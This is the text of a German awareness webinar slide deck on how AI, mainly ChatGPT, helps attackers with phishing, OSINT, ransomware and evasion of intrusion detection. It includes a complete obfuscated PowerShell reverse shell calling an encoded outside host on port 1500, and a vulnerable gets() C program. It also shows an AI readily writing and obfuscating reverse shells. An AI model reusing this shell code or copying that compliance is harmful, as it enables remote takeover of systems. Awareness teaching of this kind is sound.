
LiveHacking: Angriff der Maschinen!
Künstliche Intelligenz verleiht Cyberkriminellen „Superkräfte“

BIHK Webinar IT-Sicherheit – Webinar – 16.10.24
Marco Di Filippo (MadIFI) 
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<< über mich >>
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Video
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<< über (whitelist)hackers >>
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Darf ich mich vorstellen?

©MadIFI   www.madifi.de 816.10.24
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Probieren geht über Studieren…
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<< aussichten >>
Science-Fiction lebt uns diese Zukunft vor_Lizensiert für: B
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Science - Fiction lebt uns diese Zukunft seit Jahren vor
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<< grundsätzliches >>
Hintergrund, Vorgehensweisen und Techniken_Lizensiert für: B
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Grundsätzliches

Künstliche Intelligenz ist mehr als ChatGPT!!
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KI

Grundsätzliches

Künstliche Intelligenz vs. Algorithmen

Bilderkennung  u. -analyse

Sensorik

Datenmanagement u. -analyse

Natürliche Sprachverarbeitung

Robotik Mensch-Maschine-Interaktion

Schachcomputer Navigationssystem
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KI
ML

DL
NN t1955 1980 2010
Supervised
Unsupervised
Reinforcement

Grundsätzliches
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Grundsätzliches

Input Hidden Output
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Grundsätzliches

Was ist ein LLM?
- Large Language Model
- Verarbeitung/Erzeugung von Sprache
- Training mit vielen Textdaten
- Machine Learning -> Deep Learning
- Neuronales Netz, Transformer-Architektur
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Grundsätzliches

Wie funktioniert ein LLM am Beispiel ChatGPT?

Vorherigen 
Wörter

Nächstes 
Wort

GPT-4x
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Das Sprachmodell hinter ChatGPT (Modell 
GPT-4) wurde mit Texten im Umfang von 

ca. 13 Bill. Wörtern trainiert

Quelle: https://omr.com/de/reviews/contenthub/chatgpt-4
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Das sind ca. 26 Mrd. DIN A4 Seiten
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Wollte man alle diese Texte lesen, die allein für 
das Training verwendet wurden, bräuchte man 

etwas mehr als 84.000 Jahre!
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Für unsere Angriffe verwenden wir 12 
verschiedene Modelle 
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Angriffs-Ziele
Angreifer

Systeme Identität

- Zugangsdaten
- Reaktion aus 

Phishing
- Preisgabe von 

Informationen

- fehlende Patches
- Fehlkonfiguration
- fehlende Update
- veraltete 

Versionen
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   Privilege Escalation

   Entry Point

   Lateral Movement

- Code analysieren
- Produktanalyse
- Schwachstellen 

finden
- DeepPhishing 

- Topologien u.  Netze 
analysieren

- Code u. Tools 
schreiben

- Logiken erkennen u. 
fortführen

- Code u. Tools 
schreiben

Angriffs-Chronologie
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Angreifer KI

Modell
Erwünschtes 

Ergebnis? Umgehung
Ja

Neuen Test 
ableiten

Nein
Test

ausprobieren

KI-basierte Systeme austricksen und dabei für Mensch und Maschine unerkannt bleiben

Angriffsarten:
- Evasion attacks
- Poisoning attacks
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Entwicklung Cyberangriffe

Phishing

Hacker Kollektive

Mobile Endgeräte

Ransomware

Viren & Würmer

Distributed Denial of 
Service

2007 2013 2024

?
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<< prompting >>
Die richtige Fragestellung ist entscheidend _Lizensiert für: B
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Ausgabe:
Nein, der gegebene Code ist nicht sicher, da er eine 
unsichere Funktion "gets()" verwendet, um 
Benutzereingaben zu lesen. Die Funktion "gets()" ist 
anfällig für Pufferüberläufe, da sie keine Begrenzung für 
die Anzahl der von einem Benutzer eingegebenen 
Zeichen hat. Das bedeutet, dass ein Angreifer durch 
Eingabe von mehr Zeichen als der Puffer aufnehmen 
kann, den Speicher des Programms beschädigen und die 
Kontrolle über das Programm übernehmen kann.
Stattdessen sollte die sicherere Funktion "fgets()" 
verwendet werden, um Benutzereingaben zu lesen, da sie 
eine Begrenzung für die Anzahl der Zeichen festlegt, die 
gelesen werden können. Beispiel:
fgets(buff, sizeof(buff), stdin);
Darüber hinaus ist es in der if-Anweisung nicht sicher, 
einen Vergleich von Zeichenketten mit "strcmp()" 
durchzuführen. Der Rückgabewert von "strcmp()" ist 0, 
wenn die Zeichenketten gleich sind, und ein Wert ungleich 
0, wenn sie unterschiedlich sind. Daher sollte die if-
Anweisung wie folgt geändert werden…

Eingabe:
Ist dieser Code sicher:

#include <stdio.h> 

#include <string.h> 

int main(void) {  
char buff[15]; 
 int pass = 0;  
printf("\n Enter the password : \n"); 
 gets(buff); 
 if(strcmp(buff, "thegeekstuff"))  {  
 printf ("\n Wrong Password \n");  
}  else  {  
 printf ("\n Correct Password \n"); 
 pass = 1; 
 } 
 if(pass)  { 
 /* Now Give root or admin rights to user*/  

 printf ("\n Root privileges given to the user \n");  
}  
return 0; 

}

Code analysieren

Quelle: https://www.gamestar.de/artikel/hacker-findet-mit-chatgpt-42000-euro-sicherheitsluecke,3389025.html

Quelle: https://www.golem.de/news/socket-chatgpt-findet-malware-in-npm-und-python-paketen-2303-173109.html
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Code schreiben

Ausgabe:

Gerne! Hier ist ein Beispiel für eine Reverse-Shell als 
PowerShell-Skript, welches IP-Adresse und Port als 
Parameter erwartet:

Eingabe:

Schreibe mir eine Reverse Shell als 
Powershell-Skript. IP und Port des 
Servers sollen als Parameter 
übergeben werden.

Firmennetzwerk

Angreifer
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In diesem obfuskierten Skript wurden die Namen der 
Variablen und Methoden durch kurze Abkürzungen 
ersetzt, die Parameter wurden nicht umbenannt. Der 
Skriptcode wurde zudem in einer einzigen Code-Zeile 
zusammengefasst, um ihn schwieriger lesbar zu machen. 
Die IP-Adresse und der Port sind in den Skriptcode als 
Byte-Arrays und ASCII-Werte eingebettet, was es 
schwieriger macht, die tatsächliche Ziel-IP-Adresse und 
den Zielport zu erkennen.

Code schreiben

Ausgabe:

Gerne! Hier ist das obfuskierte Skript:

Eingabe:

Schreibe mir eine Reverse Shell als 
Powershell-Skript. IP und Port des 
Servers sollen als Parameter 
übergeben werden.

Obfuskiere das Skript
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Ausgabe:
Dieser Code ist in PowerShell geschrieben und scheint ein Remote-
Shell-Skript zu sein. Das bedeutet, dass es eine Verbindung zu einem 
Remote-Server herstellt und anschließend Befehle von diesem Server 
entgegennimmt, um sie auf dem lokalen System auszuführen. Hier ist 
eine Erklärung der einzelnen Teile des Codes:

$IP: Die IP-Adresse des Remote-Servers wird aus einer Liste von 
Zeichenkodierungen (ASCII-Codes) erstellt. Der Code wandelt die Liste 
in einen String um, löst die IP-Adresse des Hostnamens auf und 
speichert sie in der Variable $IP.

$PORT: Der Port, zu dem eine Verbindung hergestellt wird, wird aus 
einer Liste von Zeichenkodierungen (ASCII-Codes) erstellt. Diese Liste 
enthält die Zeichen für "1500". Der Code wandelt die Liste in einen 
String um und speichert ihn in der Variable $PORT.

$c: Ein neues System.Net.Sockets.TCPClient-Objekt wird erstellt, um 
eine Verbindung zum Remote-Server über die IP-Adresse und den 
Port herzustellen.

$s, $sw, $sr: Das System.Net.Sockets.NetworkStream, 
System.IO.StreamWriter und System.IO.StreamReader-Objekt werden 
erstellt, um mit dem Remote-Server zu kommunizieren…

Eingabe:
Was macht dieser Code:

$IP=[String]::Join(".", 
[Int[]][Byte[]]([System.Net.Dns]::GetHostByNa
me(([String][char[]]((97, 99, 99, 117, 114, 97, 
116, 101, 112, 111, 114, 116, 46, 99, 111, 
109)))).AddressList[0].GetAddressBytes()));$P
ORT=[Int][char][Int]([String][char[]]((49, 53, 
48, 48)));$c=New-Object 
System.Net.Sockets.TCPClient($IP,$PORT);$s=
$c.GetStream();$sw=New-Object 
System.IO.StreamWriter($s);$sr=New-Object 
System.IO.StreamReader($s);$sw.AutoFlush=$
true;$p=New-Object 
System.Diagnostics.Process;$p.StartInfo.FileN
ame="cmd.exe";$p.StartInfo.RedirectStandardI
nput=$true;$p.StartInfo.RedirectStandardOut
put=$true;$p.StartInfo.UseShellExecute=$fal
se;$p.Start();$is=$p.StandardInput;$os=$p.Sta
ndardOutput;while(!$c.Connected) { Start-
Sleep -s 1; 
};while($c.Connected){$input=$sr.ReadLine();$
is.WriteLine($input);$output=$os.ReadLine();$
sw.WriteLine($output)};$c.Close();

Code verstehen
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Komplexe Befehle erstellen
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<< beschaffung von basisdaten>>
Open Source Intelligence (OSINT) _Lizensiert für: B
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Fast 3 von 4 Nutzern verwenden ihre 
Passwörter mehrfach, von denen viele seit 5 

Jahren oder länger nicht mehr geändert wurden. 
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Huntersinternational
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Russian Market
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(Ich als) Opfer – Beispiel
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(Ich als) Opfer – Beispiel
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Informationsbeschaffung

167 Million Hacked LinkedIn 
Accounts On Sales!

24 Million Guest Data  And 
Files Stolen

Data Breach Of 45 million 
(2021) Snd 37 million (2023) 
Customer Records Containing 
Personal Information

More Than 68 Million 
Account Details Leaked Online

Passwords for 32 Million Twitter
accounts may have been hacked 
and leaked

300 Million  Stored Guest Data

Another Day, Another Data Breach!
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Passwort-Liste Prompt
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Live Demo
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<< ransomware-angriff >>
Mit Hilfe von ChatGPT _Lizensiert für: B
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Phasen eines Ransomware-Angriffs

Phishing Email Malicious Macro Install Malware
Own Domain 

Controller

Steal CredentialMove LaterallySteal DataInstall RansomwareLizensiert für: B
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(Spear) Phishing Prompt
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Beispiel Domainsquatting

Aus 
telekom.com 

wird 
teiekom.com I
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Beispiel Domainsquatting

Aus 
microsoftlogin.com 

wird 
mircosoftlogin.comrc
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Beispiel Domainsquatting

Aus 
zoom.in 

wird 
Z00M.IN 
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(Spear) Phishing
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Live Demo
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Ransomware Builder Prompt
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Ransomware Builder Prompt
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Live Demo
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<< hide network attacks >>
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Angreifer KI

Modell
Erwünschtes 

Ergebnis? Umgehung
Ja

Neuen Test 
ableiten

Nein
Test

ausprobieren

KI-basierte Systeme austricksen und dabei für Mensch und Maschine unerkannt bleiben

Angriffsarten:
- Evasion attacks
- Poisoning attacks
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Zielnetzwerk

Legitimes Traffic-Verhalten nachahmen

Angreifer

Gutartigen Datenverkehr Bösartiger Datenverkehr

LSTM-basierter
"gutartiger“ timing
Generator

t1 t2

1 Gutes Verhalten lernen   2 Bösartige Zeitstempel anpassen   3 Erkennung umgehen   4 Erfolgreiches Eindringen

Detection 
System 
(NDIS)prüfen

Merkmale
extrahieren

steuert
Angriff erfolgreich
Bösartiger Datenverkehr 

unentdeckt

Gate
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Effizienz der Erkennung

Art ohne KI mit KI

Active Wiretap 98,03 0.00

MitM 23.79 0.00

Fuzzing 67.53 0.97

Mirai 88.94 0.00

SSDP Flood 71.94 10.22

SSL Renegotiation 89.34 1.19

Brute-Force 25.50 0.00

SQL-Injection 23.81 0.00

Average 61.11 1.55
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Ausblick

- Neues Werkzeug für Entwickler, egal ob „gut“ oder „böse“

-  Sicherheitslücken werden schneller entdeckt, egal ob von „gut“ oder 

„böse“

- Social Engineering Angriffe werden besser

- Automatisierte Angriffe mit KI

- Verteidigung von Systemen durch KI

- Heilsbringer oder Todesbote? à nichts von beidem
KI stellt lediglich “Wissen“ zur VerfügungLizensiert für: B
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Schaffen Sie ein IT-Sicherheitsniveau, das Angriffe für 
Cyberkriminelle unwirtschaftlich macht, indem die 
erforderlichen Investitionen die mögliche Beute 

übersteigen.

Und wann ist man nun sicher?

Marco Di Filippo
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Wir wollen niemanden zu einer Straftat anstiften!

Alle gezeigten Informationen dienen ausschließlich dazu sie zu 
sensibilisieren! Denn nur wer um die Gefahren weiss, kann sich 
davor schützen.

Wenn sie Fragen im Bereich IT-Sicherheit haben, sprechen sie uns 
an. !
Wissen ist Macht…
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Ich würde mich über eine (erste) Bewertung freuen :-)

Hat es Ihnen gefallen?
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<< fragen >>
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Fragen

?
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<< kontakt >>
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whitelisthackers GmbH
Alte Seilerei 11
96052 Bamberg
Germany
hello@wlh.io
www.whitelisthackers.com

[Phone]
[Fax]

Follow Us @

Kontakt

Helge Husemann
Head of Sales 

h.husemann@wlh.io
+49 951 160957-60
You think really we have fax?

Better Call Helge!
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whitelisthackers GmbH
Alte Seilerei 11
96052 Bamberg
Germany
hello@wlh.io
www.whitelisthackers.com

[Phone]
[Fax]

Follow Us @

Kontakt

Marco Di Filippo
Cyber Security Evangelist

m.difilippo@wlh.io
+49 951 160957-10
You think really we have fax?
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